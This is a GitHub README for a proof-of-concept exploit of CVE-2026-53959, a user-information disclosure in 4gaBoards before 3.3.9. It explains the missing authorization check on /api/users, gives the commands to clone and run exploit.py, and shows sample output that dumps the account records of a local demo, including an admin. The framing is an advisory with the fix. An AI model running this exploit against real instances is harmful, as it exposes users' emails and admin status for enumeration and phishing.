anirbala98/cve-2026-539594gaBoards < 3.3.9 - User Information Disclosure
This repo contains a Proof of Concept(PoC) exploit for CVE-2026-53959
This project is provided for educational purposes and authorized security testing only. Do not use it against systems that you do not own or have permission to test.
4gaBoards is a boards system for realtime project management. Prior to 3.3.9, 4gaBoards allows any authenticated user to enumerate account information for every user through GET /api/users and retrieve arbitrary accounts through GET /api/users/:id. The users/index and users/show actions rely only on the default is-authenticated policy in server/config/policies.js, and server/api/controllers/users/index.js returns the result of sails.helpers.users.getMany() without requester-specific authorization or response sanitization. Responses expose email, phone, organization, name, isAdmin, ssoGoogleEmail, ssoGithubEmail, and other SSO-linked email fields, including data for administrators. This enables instance-wide user enumeration, privacy loss, and targeted phishing reconnaissance. This issue is fixed in version 3.3.9.
| Component | Version |
|---|---|
| Vulnerable | <=3.3.8 |
| Patched | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
Upgrade 4gaBoards to version 3.3.9 or above.